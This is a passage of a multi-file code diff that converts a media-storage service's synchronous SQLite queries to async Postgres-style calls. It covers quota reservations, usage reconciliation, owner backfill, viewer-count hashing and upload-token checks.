chain(app.app_id, namespace);++ const rows = await chain(app.app_id, namespace);if (!rows.length || rows[0].namespace !== root) rows.unshift({ namespace: root, parent: null, quota_bytes: null, quota_objects: null });const policy = Object.assign({}, ...rows.map(r => parsePolicy(r.policy)));const maxObject = Number(policy.max_object_bytes) || 0;@@@ -186,7 +196,7 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }for (const row of rows.slice().reverse()) {const lim = limitsOf(app, row);if (!lim.bytes && !lim.objects) continue;-- const u = usage(app, row.namespace, { excludeId });++ const u = await usage(app, row.namespace, { excludeId });if (lim.bytes && u.used_bytes + u.reserved_bytes + bytes > lim.bytes) {return {status: 413, code: 'media.quota.exceeded', detail: `The storage quota of ${row.namespace} would be exceeded`,@@@ -205,36 +215,36 @@ function checkQuota(app, namespace, { bytes = 0, objects = 0, excludeId = null }// ── Reservations ─────────────────────────────────────────────--function reservation(objectId) {-- return objectId ? db.get('SELECT * FROM media_quota_reservations WHERE object_id = ?', [objectId]) : null;++async function reservation(objectId) {++ return objectId ? await db.get('SELECT * FROM media_quota_reservations WHERE object_id = ?', [objectId]) : null;}/** Hold `bytes` of quota for the upload of `obj` (replacing what it held); expiry moves forward, never back. */--function reserve(obj, bytes, { hours = config.objects.reservationHours } = {}) {-- db.run(`INSERT INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at) VALUES (?, ?, ?, ?, ?)++async function reserve(obj, bytes, { hours = config.objects.reservationHours } = {}) {++ await db.run(`INSERT INTO media_quota_reservations (object_id, app_id, namespace, bytes, expires_at) VALUES (?, ?, ?, ?, ?)ON CONFLICT(object_id) DO UPDATE SET bytes = excluded.bytes, namespace = excluded.namespace,-- expires_at = MAX(expires_at, excluded.expires_at), updated_at = CURRENT_TIMESTAMP`,++ expires_at = GREATEST(media_quota_reservations.expires_at, excluded.expires_at), updated_at = ov_now()`,[obj.id, obj.app_id, obj.namespace, Math.max(0, Number(bytes) || 0), sqlTime(Date.now() + hours * 3600 * 1000)]);}/** An upload step happened: its reservation's expiry moves forward. */--function touch(objectId, { hours = config.objects.reservationHours } = {}) {-- db.run('UPDATE media_quota_reservations SET expires_at = MAX(expires_at, ?), updated_at = CURRENT_TIMESTAMP WHERE object_id = ?',++async function touch(objectId, { hours = config.objects.reservationHours } = {}) {++ await db.run('UPDATE media_quota_reservations SET expires_at = GREATEST(expires_at, ?::text), updated_at = ov_now() WHERE object_id = ?',[sqlTime(Date.now() + hours * 3600 * 1000), objectId]);}/** The upload ended (complete, or the object was deleted): the object's own row counts from now on. */--function settle(objectId) {-- db.run('DELETE FROM media_quota_reservations WHERE object_id = ?', [objectId]);++async function settle(objectId) {++ await db.run('DELETE FROM media_quota_reservations WHERE object_id = ?', [objectId]);}/** An aborted or expired session: keep holding only what is still stored for the object (a PUT's bytes). */--function release(objectId) {-- const obj = db.get('SELECT lifecycle_status FROM media_objects WHERE id = ?', [objectId]);++async function release(objectId) {++ const obj = await db.get('SELECT lifecycle_status FROM media_objects WHERE id = ?', [objectId]);const stored = obj && obj.lifecycle_status === 'uploading'-- ? db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [objectId]) : null;-- if (stored && Number(stored.size_bytes) > 0) db.run('UPDATE media_quota_reservations SET bytes = ?, updated_at = CURRENT_TIMESTAMP WHERE object_id = ?', [Number(stored.size_bytes), objectId]);-- else settle(objectId);++ ? await db.get("SELECT size_bytes FROM media_locations WHERE object_id = ? AND provider = 'local' AND state = 'present'", [objectId]) : null;++ if (stored && Number(stored.size_bytes) > 0) await db.run('UPDATE media_quota_reservations SET bytes = ?, updated_at = ov_now() WHERE object_id = ?', [Number(stored.size_bytes), objectId]);++ else await settle(objectId);}/**@@@ -242,27 +252,27 @@ function release(objectId) {* (metadata.failure upload_expired), its stored bytes are deleted and its reservation goes; a* reservation whose object is no longer uploading is dropped. Returns { expired, dropped }.*/--function expireReservations() {-- const rows = db.all(`SELECT r.object_id, r.app_id, r.namespace, o.lifecycle_status, o.legacy_ref, o.metadata FROM media_quota_reservations r++async function expireReservations() {++ const rows = await db.all(`SELECT r.object_id, r.app_id, r.namespace, o.lifecycle_status, o.legacy_ref, o.metadata FROM media_quota_reservations rLEFT JOIN media_objects o ON o.id = r.object_id WHERE r.expires_at < datetime('now') ORDER BY r.expires_at LIMIT 1000`);const multipart = require('./multipart');const root = path.resolve(config.objects.path) + path.sep;const touched = new Map();let expired = 0, dropped = 0;for (const r of rows) {-- if (r.lifecycle_status !== 'uploading' || r.legacy_ref) { settle(r.object_id); dropped++; continue; }-- if (multipart.activeFor(r.object_id)) continue; // its session expires on its own, then this does++ if (r.lifecycle_status !== 'uploading' || r.legacy_ref) { await settle(r.object_id); dropped++; continue; }++ if (await multipart.activeFor(r.object_id)) continue; // its session expires on its own, then this doestry {const md = parsePolicy(r.metadata);md.failure = 'upload_expired';md.expired_at = new Date().toISOString();-- const locs = db.all("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [r.object_id]);-- db.getDb().transaction(() => {-- db.run("UPDATE media_objects SET lifecycle_status = 'failed', metadata = ?, updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status = 'uploading'",++ const locs = await db.all("SELECT * FROM media_locations WHERE object_id = ? AND provider = 'local'", [r.object_id]);++ await db.getDb().tx(async () => {++ await db.run("UPDATE media_objects SET lifecycle_status = 'failed', metadata = ?, updated_at = ov_now() WHERE id = ? AND lifecycle_status = 'uploading'",[JSON.stringify(md), r.object_id]);-- for (const l of locs) db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);-- settle(r.object_id);-- })();++ for (const l of locs) await db.run('DELETE FROM media_locations WHERE id = ?', [l.id]);++ await settle(r.object_id);++ });for (const l of locs) if (path.resolve(l.key).startsWith(root)) { try { fs.unlinkSync(l.key); } catch { /* already gone */ } }expired++;touched.set(`${r.app_id}\n${r.namespace}`, r);@@@ -271,34 +281,34 @@ function expireReservations() {console.warn(`[Namespaces] Could not expire the upload of ${r.object_id}: ${err.message}`);}}-- for (const r of touched.values()) { const app = db.getApp(r.app_id); if (app) reconcileChain(app, r.namespace); }++ for (const r of touched.values()) { const app = await db.getApp(r.app_id); if (app) await reconcileChain(app, r.namespace); }return { expired, dropped };}// ── Snapshot (the used_* / reserved_* columns) ───────────────--function reconcile(app, namespace) {-- const u = usage(app, namespace);-- db.run(`UPDATE media_namespaces SET used_bytes = ?, used_objects = ?, reserved_bytes = ?, reserved_objects = ?,-- reconciled_at = CURRENT_TIMESTAMP, updated_at = CURRENT_TIMESTAMP WHERE namespace = ? AND app_id = ?`,++async function reconcile(app, namespace) {++ const u = await usage(app, namespace);++ await db.run(`UPDATE media_namespaces SET used_bytes = ?, used_objects = ?, reserved_bytes = ?, reserved_objects = ?,++ reconciled_at = ov_now(), updated_at = ov_now() WHERE namespace = ? AND app_id = ?`,[u.used_bytes, u.used_objects, u.reserved_bytes, u.reserved_objects, namespace, app.app_id]);return u;}/** Refresh `namespace` and every namespace above it (after a write changed its usage). */--function reconcileChain(app, namespace) {++async function reconcileChain(app, namespace) {try {-- for (const row of chain(app.app_id, namespace)) reconcile(app, row.namespace);++ for (const row of await chain(app.app_id, namespace)) await reconcile(app, row.namespace);} catch (err) { console.warn(`[Namespaces] reconcile ${namespace}: ${err.message}`); }}/** Refresh every row (the hourly job). Returns how many. */--function reconcileAll() {++async function reconcileAll() {const apps = new Map();let n = 0;-- for (const row of db.all('SELECT namespace, app_id FROM media_namespaces ORDER BY app_id, namespace')) {-- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });-- reconcile(apps.get(row.app_id), row.namespace);++ for (const row of await db.all('SELECT namespace, app_id FROM media_namespaces ORDER BY app_id, namespace')) {++ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });++ await reconcile(apps.get(row.app_id), row.namespace);n++;}return n;@@@ -307,7 +317,7 @@ function reconcileAll() {// ── Public shape ─────────────────────────────────────────────/** A namespace as its owner reads it; `fresh` is usage() just computed (else the snapshot is shown). */--function publicShape(app, row, fresh = null) {++async function publicShape(app, row, fresh = null) {const lim = limitsOf(app, row);const u = fresh || { used_bytes: row.used_bytes, used_objects: row.used_objects, reserved_bytes: row.reserved_bytes, reserved_objects: row.reserved_objects };const out = {@@@ -316,12 +326,12 @@ function publicShape(app, row, fresh = null) {root: row.parent == null,owner: row.owner,policy: parsePolicy(row.policy),-- effective_policy: effectivePolicy(row.app_id, row.namespace),++ effective_policy: await effectivePolicy(row.app_id, row.namespace),quota: { bytes: lim.bytes || null, objects: lim.objects || null, bytes_from: lim.bytes_from },usage: { ...u, reconciled_at: fresh ? new Date().toISOString() : row.reconciled_at || null },created_at: row.created_at,};-- if (db.isSandboxTenant(row.app_id)) out.sandbox = true;++ if (await db.isSandboxTenant(row.app_id)) out.sandbox = true;return out;}@@@ -128,8 +128,8 @@ function createResolver({// ── Reads ────────────────────────────────────────────────────/** Per-tenant ownership counts (read-only). */--function summary(sqlite) {-- const rows = sqlite.prepare(`++async function summary(sqlite) {++ const rows = await sqlite.prepare(`SELECT app_id, count(*) AS objects,sum(owner_subject IS NOT NULL) AS already_set,sum(owner_subject IS NULL AND owner_user_id IS NOT NULL) AS missing,@@@ -141,8 +141,8 @@ function summary(sqlite) {}/** Distinct (owner_app, owner_user_id) pairs that still lack a subject, with their object counts. */--function pendingOwners(sqlite) {-- return sqlite.prepare(`++async function pendingOwners(sqlite) {++ return await sqlite.prepare(`SELECT COALESCE(owner_app, app_id) AS owner_app, owner_user_id, count(*) AS objectsFROM media_objects WHERE owner_subject IS NULL AND owner_user_id IS NOT NULLGROUP BY COALESCE(owner_app, app_id), owner_user_id ORDER BY 1, 2`).all();@@@ -177,14 +177,14 @@ async function resolveOwners(owners, { resolver }) {* The rows the resolved subjects fill, read in id order `batch` at a time.* -> [{ id, app_id, owner_app, owner_user_id, owner_subject }]*/--function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {++async function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {const page = sqlite.prepare(`SELECT id, app_id, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objectsWHERE owner_subject IS NULL AND owner_user_id IS NOT NULL AND id > ? ORDER BY id LIMIT ?`);const changes = [];let after = '';for (;;) {-- const rows = page.all(after, batch);++ const rows = await page.all(after, batch);if (!rows.length) break;for (const r of rows) {const sid = subjects.get(ownerKey(r.owner_app, r.owner_user_id));@@@ -201,17 +201,17 @@ function planChanges(sqlite, subjects, { batch = DEFAULT_BATCH } = {}) {* Fill owner_subject on the planned rows, one transaction per `batch` rows. A row is written only if* it still has no subject and the same owner. -> { applied: [change], skipped: [change], batches }*/--function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null } = {}) {++async function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null } = {}) {const set = sqlite.prepare(`-- UPDATE media_objects SET owner_subject = ?, updated_at = CURRENT_TIMESTAMP++ UPDATE media_objects SET owner_subject = ?, updated_at = ov_now()WHERE id = ? AND owner_subject IS NULL AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);const applied = [], skipped = [];let batches = 0;for (let i = 0; i < changes.length; i += batch) {const slice = changes.slice(i, i + batch);-- sqlite.transaction(() => {-- for (const c of slice) (set.run(c.owner_subject, c.id, c.owner_app, c.owner_user_id).changes ? applied : skipped).push(c);-- })();++ await sqlite.tx(async () => {++ for (const c of slice) ((await set.run(c.owner_subject, c.id, c.owner_app, c.owner_user_id)).changes ? applied : skipped).push(c);++ });batches++;if (onBatch) onBatch({ batch: batches, rows: slice.length, applied: applied.length, skipped: skipped.length });}@@@ -224,24 +224,24 @@ function applyChanges(sqlite, changes, { batch = DEFAULT_BATCH, onBatch = null }* alone and counted. With apply=false nothing is written.* -> { restored, changed_since, missing, rows: { restored: [id], changed_since: [id], missing: [id] } }*/--function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH } = {}) {++async function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH } = {}) {const get = sqlite.prepare('SELECT id, owner_subject, COALESCE(owner_app, app_id) AS owner_app, owner_user_id FROM media_objects WHERE id = ?');const clear = sqlite.prepare(`-- UPDATE media_objects SET owner_subject = NULL, updated_at = CURRENT_TIMESTAMP++ UPDATE media_objects SET owner_subject = NULL, updated_at = ov_now()WHERE id = ? AND owner_subject = ? AND COALESCE(owner_app, app_id) = ? AND owner_user_id = ?`);const rows = { restored: [], changed_since: [], missing: [] };const unchanged = (row, e) => row.owner_subject === e.owner_subject && row.owner_app === e.owner_app && Number(row.owner_user_id) === Number(e.owner_user_id);for (let i = 0; i < entries.length; i += batch) {const slice = entries.slice(i, i + batch);-- sqlite.transaction(() => {++ await sqlite.tx(async () => {for (const e of slice) {-- const row = get.get(e.id);++ const row = await get.get(e.id);if (!row) { rows.missing.push(e.id); continue; }if (!unchanged(row, e)) { rows.changed_since.push(e.id); continue; }-- if (apply && !clear.run(e.id, e.owner_subject, e.owner_app, e.owner_user_id).changes) { rows.changed_since.push(e.id); continue; }++ if (apply && !(await clear.run(e.id, e.owner_subject, e.owner_app, e.owner_user_id)).changes) { rows.changed_since.push(e.id); continue; }rows.restored.push(e.id);}-- })();++ });}return { restored: rows.restored.length, changed_since: rows.changed_since.length, missing: rows.missing.length, rows };}@@@ -251,7 +251,7 @@ function rollbackChanges(sqlite, entries, { apply = false, batch = DEFAULT_BATCH* objects. -> { owners, filled, skipped, unresolvable, unsupported, via }*/async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {-- const owners = pendingOwners(sqlite);++ const owners = await pendingOwners(sqlite);const out = { owners: owners.length, filled: 0, skipped: 0, unresolvable: 0, unsupported: 0, via: null };if (!owners.length) return out;const callsBefore = resolver.state ? resolver.state.calls : 0;@@@ -260,7 +260,7 @@ async function reconcileOnce(sqlite, { resolver, batch = DEFAULT_BATCH } = {}) {out.unsupported = r.unsupported.reduce((n, o) => n + o.objects, 0);out.via = resolver.state && resolver.state.calls > callsBefore ? resolver.state.via : null;if (!r.subjects.size) return out;-- const applied = applyChanges(sqlite, planChanges(sqlite, r.subjects, { batch }), { batch });++ const applied = await applyChanges(sqlite, await planChanges(sqlite, r.subjects, { batch }), { batch });out.filled = applied.applied.length;out.skipped = applied.skipped.length;return out;@@@ -69,12 +69,12 @@ function networkOf(ip) {let _saltDay = null, _salt = null;/** The day's random salt: read, or made by the first view of the day (a racing writer keeps the first). */--function daySalt(day) {++async function daySalt(day) {if (_saltDay === day && _salt) return _salt;-- let row = db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);++ let row = await db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);if (!row) {-- db.run('INSERT OR IGNORE INTO media_object_view_salts (day, salt) VALUES (?, ?)', [day, crypto.randomBytes(32).toString('hex')]);-- row = db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);++ await db.run('INSERT INTO media_object_view_salts (day, salt) VALUES (?, ?) ON CONFLICT DO NOTHING', [day, crypto.randomBytes(32).toString('hex')]);++ row = await db.get('SELECT salt FROM media_object_view_salts WHERE day = ?', [day]);}_saltDay = day;_salt = row.salt;@@@ -82,8 +82,8 @@ function daySalt(day) {}/** The stored form of a viewer on one day: 16 hex chars of HMAC-SHA256(salt of the day, network). */--function viewerHash(network, day) {-- return crypto.createHmac('sha256', daySalt(day)).update(String(network)).digest('hex').slice(0, 16);++async function viewerHash(network, day) {++ return crypto.createHmac('sha256', await daySalt(day)).update(String(network)).digest('hex').slice(0, 16);}// ── Recording ────────────────────────────────────────────────@@@ -105,7 +105,7 @@ function notCounted(req) {* Count the request's viewer for a native object (legacy_ref NULL), at most once per UTC day. Never throws.* → { counted, reason } (reason: not_native, method, range, opted_out, bot, seen, error; null when counted)*/--function record(obj, req, { now = Date.now() } = {}) {++async function record(obj, req, { now = Date.now() } = {}) {try {if (!obj || !obj.id || obj.legacy_ref) return { counted: false, reason: 'not_native' };const why = notCounted(req);@@@ -115,19 +115,19 @@ function record(obj, req, { now = Date.now() } = {}) {// The first view of a new day: yesterday's hashes and salt go now (the hourly rotation would too)._day = day;_seen.clear();-- rotate({ now });++ await rotate({ now });}-- const viewer = viewerHash(networkOf(clientIp(req)), day);++ const viewer = await viewerHash(networkOf(clientIp(req)), day);const seenKey = `${obj.id}|${viewer}`;if (_seen.has(seenKey)) return { counted: false, reason: 'seen' };const at = new Date(now).toISOString();-- const added = db.getDb().transaction(() => {-- const r = db.run('INSERT OR IGNORE INTO media_object_viewer_days (day, object_id, viewer) VALUES (?, ?, ?)', [day, obj.id, viewer]);++ const added = await db.getDb().tx(async () => {++ const r = await db.run('INSERT INTO media_object_viewer_days (day, object_id, viewer) VALUES (?, ?, ?) ON CONFLICT DO NOTHING', [day, obj.id, viewer]);if (!r.changes) return false;-- db.run(`INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, 1, ?)-- ON CONFLICT(object_id, day) DO UPDATE SET unique_viewers = unique_viewers + 1, last_viewed_at = excluded.last_viewed_at`, [obj.id, day, at]);++ await db.run(`INSERT INTO media_object_views_daily (object_id, day, unique_viewers, last_viewed_at) VALUES (?, ?, 1, ?)++ ON CONFLICT(object_id, day) DO UPDATE SET unique_viewers = media_object_views_daily.unique_viewers + 1, last_viewed_at = excluded.last_viewed_at`, [obj.id, day, at]);return true;-- })();++ });if (_seen.size >= SEEN_MAX) _seen.clear();_seen.add(seenKey);return { counted: added, reason: added ? null : 'seen' };@@@ -141,13 +141,13 @@ function record(obj, req, { now = Date.now() } = {}) {* Delete what must not outlive its day: every viewer hash and salt of a day before today, and daily counts* older than KEEP_DAYS. → { hashes, salts, counts } (rows deleted)*/--function rotate({ now = Date.now() } = {}) {++async function rotate({ now = Date.now() } = {}) {const today = dayOf(now);-- const out = db.getDb().transaction(() => ({-- hashes: db.run('DELETE FROM media_object_viewer_days WHERE day < ?', [today]).changes,-- salts: db.run('DELETE FROM media_object_view_salts WHERE day < ?', [today]).changes,-- counts: db.run('DELETE FROM media_object_views_daily WHERE day < ?', [addDays(today, -KEEP_DAYS)]).changes,-- }))();++ const out = await db.getDb().tx(async () => ({++ hashes: (await db.run('DELETE FROM media_object_viewer_days WHERE day < ?', [today])).changes,++ salts: (await db.run('DELETE FROM media_object_view_salts WHERE day < ?', [today])).changes,++ counts: (await db.run('DELETE FROM media_object_views_daily WHERE day < ?', [addDays(today, -KEEP_DAYS)])).changes,++ }));if (_saltDay && _saltDay < today) { _saltDay = null; _salt = null; }return out;}@@@ -156,19 +156,19 @@ function rotate({ now = Date.now() } = {}) {* Unique viewers over the last `days` UTC days (today included), per object: Map(object_id → { unique_viewers,* last_viewed_day, last_viewed_at, days_viewed }). `ids` narrows it (else every object with a view in the window).*/--function stats({ ids = null, days = WINDOW_DAYS, now = Date.now() } = {}) {++async function stats({ ids = null, days = WINDOW_DAYS, now = Date.now() } = {}) {const since = windowStart(dayOf(now), days);const list = ids == null ? null : [].concat(ids).filter(Boolean);if (list && !list.length) return new Map();-- const rows = db.all(`SELECT object_id, SUM(unique_viewers) AS viewers, MAX(day) AS last_day, MAX(last_viewed_at) AS last_at, COUNT(*) AS days++ const rows = await db.all(`SELECT object_id, SUM(unique_viewers)::bigint AS viewers, MAX(day) AS last_day, MAX(last_viewed_at) AS last_at, COUNT(*) AS daysFROM media_object_views_daily WHERE day >= ?${list ? ` AND object_id IN (${list.map(() => '?').join(',')})` : ''}GROUP BY object_id`, [since, ...(list || [])]);return new Map(rows.map((r) => [r.object_id, { unique_viewers: r.viewers, last_viewed_day: r.last_day, last_viewed_at: r.last_at, days_viewed: r.days }]));}/** The last day anyone viewed the object (in the kept counts), or null. */--function lastViewedDay(objectId) {-- const r = db.get('SELECT MAX(day) AS d FROM media_object_views_daily WHERE object_id = ? AND unique_viewers > 0', [objectId]);++async function lastViewedDay(objectId) {++ const r = await db.get('SELECT MAX(day) AS d FROM media_object_views_daily WHERE object_id = ? AND unique_viewers > 0', [objectId]);return (r && r.d) || null;}@@@ -41,9 +41,9 @@ function isVerifiedCopy(obj, l) {}/** Readiness of one object row (null → nothing known). `locations` may be passed when already loaded. */--function compute(obj, locations = null) {++async function compute(obj, locations = null) {if (!obj) return { metadata: false, bytes_verified: false, playable: false, hash_verified: false, verified_copies: [], reason: 'no_object' };-- const locs = locations || db.all('SELECT provider, state, checksum, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);++ const locs = locations || await db.all('SELECT provider, state, checksum, verified_at FROM media_locations WHERE object_id = ? ORDER BY id', [obj.id]);const md = metadataOf(obj);const verified = locs.filter(l => isVerifiedCopy(obj, l));const bytesVerified = verified.length > 0;@@@ -66,9 +66,9 @@ function compute(obj, locations = null) {}/** Readiness of an inherited vods/clips row, through its object (object_id). */--function forRow(row) {-- if (!row || !row.object_id) return compute(null);-- return compute(db.get('SELECT * FROM media_objects WHERE id = ?', [row.object_id]));++async function forRow(row) {++ if (!row || !row.object_id) return await compute(null);++ return await compute(await db.get('SELECT * FROM media_objects WHERE id = ?', [row.object_id]));}/** SQL condition: the object named by the SQL expression `ref` is playable (the rule of compute()). */@@@ -35,7 +35,7 @@ const ISSUES = ['no_canonical_location', 'canonical_missing_replica_present', 'nasync function defaultHead(provider, key) {const vs = require('../vod/vod-storage');if (!vs.providerConfigured(provider)) return undefined;-- return vs.headObject(provider, key);++ return await vs.headObject(provider, key);}function sha256File(p) {@@@ -65,19 +65,19 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has};const issue = (k, item) => { const i = report.issues[k]; i.count++; if (i.items.length < listLimit) i.items.push(item); };-- const objects = db.all(`SELECT * FROM media_objects${appId ? ' WHERE app_id = ?' : ''}`, appId ? [appId] : []);++ const objects = await db.all(`SELECT * FROM media_objects${appId ? ' WHERE app_id = ?' : ''}`, appId ? [appId] : []);const byId = new Map(objects.map(o => [o.id, o]));const locations = appId-- ? db.all('SELECT l.* FROM media_locations l LEFT JOIN media_objects o ON o.id = l.object_id WHERE o.app_id = ? OR o.id IS NULL', [appId])-- : db.all('SELECT * FROM media_locations');++ ? await db.all('SELECT l.* FROM media_locations l LEFT JOIN media_objects o ON o.id = l.object_id WHERE o.app_id = ? OR o.id IS NULL', [appId])++ : await db.all('SELECT * FROM media_locations');report.counts.objects = objects.length;report.counts.locations = locations.length;const effective = new Map(); // location id → state after this run's checksconst byObject = new Map();-- const write = (loc, state, size) => {++ const write = async (loc, state, size) => {if (!verify) return;-- model.setLocationState(loc.id, { state, size_bytes: size });++ await model.setLocationState(loc.id, { state, size_bytes: size });report.counts.locations_updated++;};@@@ -98,7 +98,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, hasif (!st) {effective.set(loc.id, 'missing');if (live) issue('missing_local_file', { object_id: obj.id, kind: obj.kind, legacy_ref: obj.legacy_ref, path: loc.key });-- write(loc, 'missing', null);++ await write(loc, 'missing', null);continue;}let state = 'present';@@@ -113,7 +113,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has}}effective.set(loc.id, state);-- write(loc, state, st.size);++ await write(loc, state, st.size);continue;}@@@ -130,7 +130,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, hasif (!h) {effective.set(loc.id, 'missing');if (live) issue('remote_missing', { object_id: obj.id, provider: loc.provider, key: loc.key, legacy_ref: obj.legacy_ref });-- write(loc, 'missing', null);++ await write(loc, 'missing', null);continue;}let state = 'present';@@@ -139,7 +139,7 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, hasissue('size_mismatch', { object_id: obj.id, provider: loc.provider, expected, actual: Number(h.size), legacy_ref: obj.legacy_ref });}effective.set(loc.id, state);-- write(loc, state, Number(h.size));++ await write(loc, state, Number(h.size));}// Per object: is the canonical copy there, and is any copy there at all?@@@ -159,11 +159,11 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has// Deleted objects that the inherited routes still serve.for (const p of PROJECTIONS) {-- const rows = db.all(`SELECT t.* FROM ${p.table} t JOIN media_objects o ON o.id = t.object_id WHERE o.lifecycle_status = 'deleted'${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);++ const rows = await db.all(`SELECT t.* FROM ${p.table} t JOIN media_objects o ON o.id = t.object_id WHERE o.lifecycle_status = 'deleted'${appId ? ' AND o.app_id = ?' : ''}`, appId ? [appId] : []);for (const r of rows) if (p.open(r)) issue('deleted_publicly_reachable', { object_id: r.object_id, table: p.table, id: r.id ?? r.key, reason: 'the inherited row still serves it' });}// …and derivatives (thumbnails) of deleted objects that are still served by name.-- const orphanThumbs = db.all(`SELECT d.* FROM media_variants v JOIN media_objects p ON p.id = v.object_id JOIN media_objects d ON d.id = v.derived_object_id++ const orphanThumbs = await db.all(`SELECT d.* FROM media_variants v JOIN media_objects p ON p.id = v.object_id JOIN media_objects d ON d.id = v.derived_object_idWHERE p.lifecycle_status = 'deleted' AND d.lifecycle_status != 'deleted' AND d.visibility != 'private'${appId ? ' AND p.app_id = ?' : ''}`, appId ? [appId] : []);for (const d of orphanThumbs) {const loc = (byObject.get(d.id) || []).find(l => effective.get(l.id) === 'present');@@@ -178,12 +178,12 @@ async function reconcile({ verify = false, hash = false, head = defaultHead, has['pastes', 'id', "object_id IS NULL AND type = 'screenshot' AND screenshot_path IS NOT NULL"],];for (const [table, keyCol, cond] of gaps) {-- for (const r of db.all(`SELECT ${keyCol} AS k FROM ${table} WHERE ${cond}${appId ? ' AND app_id = ?' : ''}`, appId ? [appId] : [])) {++ for (const r of await db.all(`SELECT ${keyCol} AS k FROM ${table} WHERE ${cond}${appId ? ' AND app_id = ?' : ''}`, appId ? [appId] : [])) {issue('missing_projection', { table, id: r.k });}}-- for (const u of db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads u++ for (const u of await db.all(`SELECT u.*, (SELECT COUNT(*) FROM media_upload_parts p WHERE p.upload_id = u.id) AS parts_received FROM media_uploads uWHERE u.status IN ('active', 'completing') AND u.expires_at < datetime('now')${appId ? ' AND u.app_id = ?' : ''}`, appId ? [appId] : [])) {issue('incomplete_multipart', { upload_id: u.id, object_id: u.object_id, parts_received: u.parts_received, parts_expected: u.parts_expected, expires_at: u.expires_at });}@@@ -92,18 +92,18 @@ function canWrite(req, obj) {}/** The object named in the URL, in this tenant and visible to the caller, if the caller may `verb` in its namespace (else answered). */--function load(req, res, verb = 'read') {-- const obj = model.resolveObject(String(req.params.id || ''), req.appId);++async function load(req, res, verb = 'read') {++ const obj = await model.resolveObject(String(req.params.id || ''), req.appId);if (!obj || !canSee(req, obj)) { problem(res, 404, 'media.object.not_found', 'No such object in this namespace'); return null; }-- const g = namespaceGrant(req, verb, obj.namespace);++ const g = await namespaceGrant(req, verb, obj.namespace);if (!g.allowed) { problem(res, 403, g.code, g.reason); return null; }return obj;}/** The token-bearing request's object and tenant; the URL must address that tenant. */--function tokenTenant(req, res, obj) {++async function tokenTenant(req, res, obj) {// A developer-project tenant is addressed by its project id, whichever of its production/sandbox rows holds the object.-- const app = obj ? db.getApp(obj.app_id) : null;++ const app = obj ? await db.getApp(obj.app_id) : null;if (!app || tenantPath(app) !== String(req.params.app || '')) { res.status(404).json({ error: 'Unknown app' }); return false; }req.appId = app.app_id;req.appPath = tenantPath(app);@@@ -113,30 +113,30 @@ function tokenTenant(req, res, obj) {}/** Upload token (a presigned URL from init or /upload-url) or the usual tenant credential with media.object.upload. */--function contentAuth(req, res, next) {++async function contentAuth(req, res, next) {const token = req.query.token || req.headers['x-upload-token'];if (!token) return upload(req, res, next);const id = String(req.params.id || '');-- const obj = model.getObject(id);++ const obj = await model.getObject(id);// Scoped to tenant + object + size: a token for another object, tenant or size never verifies.const size = obj && Number(obj.size_bytes) > 0 ? Number(obj.size_bytes) : 0;if (!obj || !signing.verifyUploadToken(id, token, { tenant: obj.app_id, size })) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');-- if (tokenTenant(req, res, obj)) next();++ if (await tokenTenant(req, res, obj)) next();}/** Multipart session token (from POST /:id/multipart) or the usual tenant credential with `verb`. */function multipartAuth(verb) {const fallback = tenantAuth({ verb, namespaced: true });-- return (req, res, next) => {++ return async (req, res, next) => {const token = req.query.token || req.headers['x-upload-token'];if (!token) return fallback(req, res, next);-- const obj = model.getObject(String(req.params.id || ''));-- const session = multipart.getSession(String(req.params.uploadId || ''));++ const obj = await model.getObject(String(req.params.id || ''));++ const session = await multipart.getSession(String(req.params.uploadId || ''));const ok = obj && session && session.object_id === obj.id && signing.verifyMultipartToken(token, {tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size,});if (!ok) return problem(res, 401, 'media.upload_token.invalid', 'Upload token is invalid or expired');-- if (tokenTenant(req, res, obj)) next();++ if (await tokenTenant(req, res, obj)) next();};}@@@ -159,12 +159,12 @@ function presignedPut(req, obj, ttlS) {}/** Public shape of a multipart session plus what a client needs to send it (URLs carry the session token). */--function multipartPublic(req, obj, session, { parts = true } = {}) {++async function multipartPublic(req, obj, session, { parts = true } = {}) {const tok = signing.multipartToken({ tenant: obj.app_id, objectId: obj.id, uploadId: session.id, totalSize: session.total_size, expiresAt: Date.parse(String(session.expires_at).replace(' ', 'T') + 'Z') });const u = `${apiBase(req)}/${obj.id}/multipart/${session.id}`;const q = `token=${encodeURIComponent(tok.token)}`;return {-- ...multipart.sessionPublic(session, { parts }),++ ...await multipart.sessionPublic(session, { parts }),token: tok.token,part_url_template: `${u}/parts/{part_number}?${q}`,status_url: `${u}?${q}`,@@@ -182,19 